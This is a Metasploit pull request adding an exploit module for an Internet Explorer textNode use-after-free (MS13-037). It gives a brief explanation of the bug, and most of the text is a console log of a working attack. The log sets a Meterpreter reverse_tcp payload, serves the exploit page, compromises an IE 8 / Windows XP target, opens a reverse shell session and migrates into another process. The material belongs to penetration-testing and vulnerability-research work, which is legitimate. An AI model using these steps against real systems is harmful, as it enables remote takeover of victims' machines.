rapid7/metasploit-framework — pull request #1917 by c0mpound (2013-06-07 04:18:58+00:00)
Title: Adding MS13-037 textNode Use-after-free

This module exploits Microsoft Internet Explorer textNode Use-after-free (CVE-2013-1311 ). Tested on Windows XP SP3 EN

The memory corruption happens when the application of a style sheet performs style computations on the DOM. A DOM textNode pointer becomes corrupted after the style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.

msf > use exploit/windows/browser/ms13_037_ie_textnode_uaf
msf exploit(ms13_037_ie_textnode_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms13_037_ie_textnode_uaf) > set LHOST 192.168.74.132
LHOST => 192.168.74.132
msf exploit(ms13_037_ie_textnode_uaf) > set URIPATH /
URIPATH => /
msf exploit(ms13_037_ie_textnode_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.74.132:4444

[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.74.132:8080/
[*] Server started.
msf exploit(ms13_037_ie_textnode_uaf) > [*] 192.168.74.130 ms13_037_ie_textnode_uaf - Requesting: /
[*] 192.168.74.130 ms13_037_ie_textnode_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.74.130 ms13_037_ie_textnode_uaf - Using msvcrt ROP
[*] 192.168.74.130 ms13_037_ie_textnode_uaf - Sending HTML...
[*] Sending stage (751104 bytes) to 192.168.74.130
[*] Meterpreter session 1 opened (192.168.74.132:4444 -> 192.168.74.130:1379) at 2013-05-23 09:10:59 +1200
[*] Session ID 1 (192.168.74.132:4444 -> 192.168.74.130:1379) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (1088)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1220
[+] Successfully migrated to process

msf exploit(ms13_037_ie_textnode_uaf) >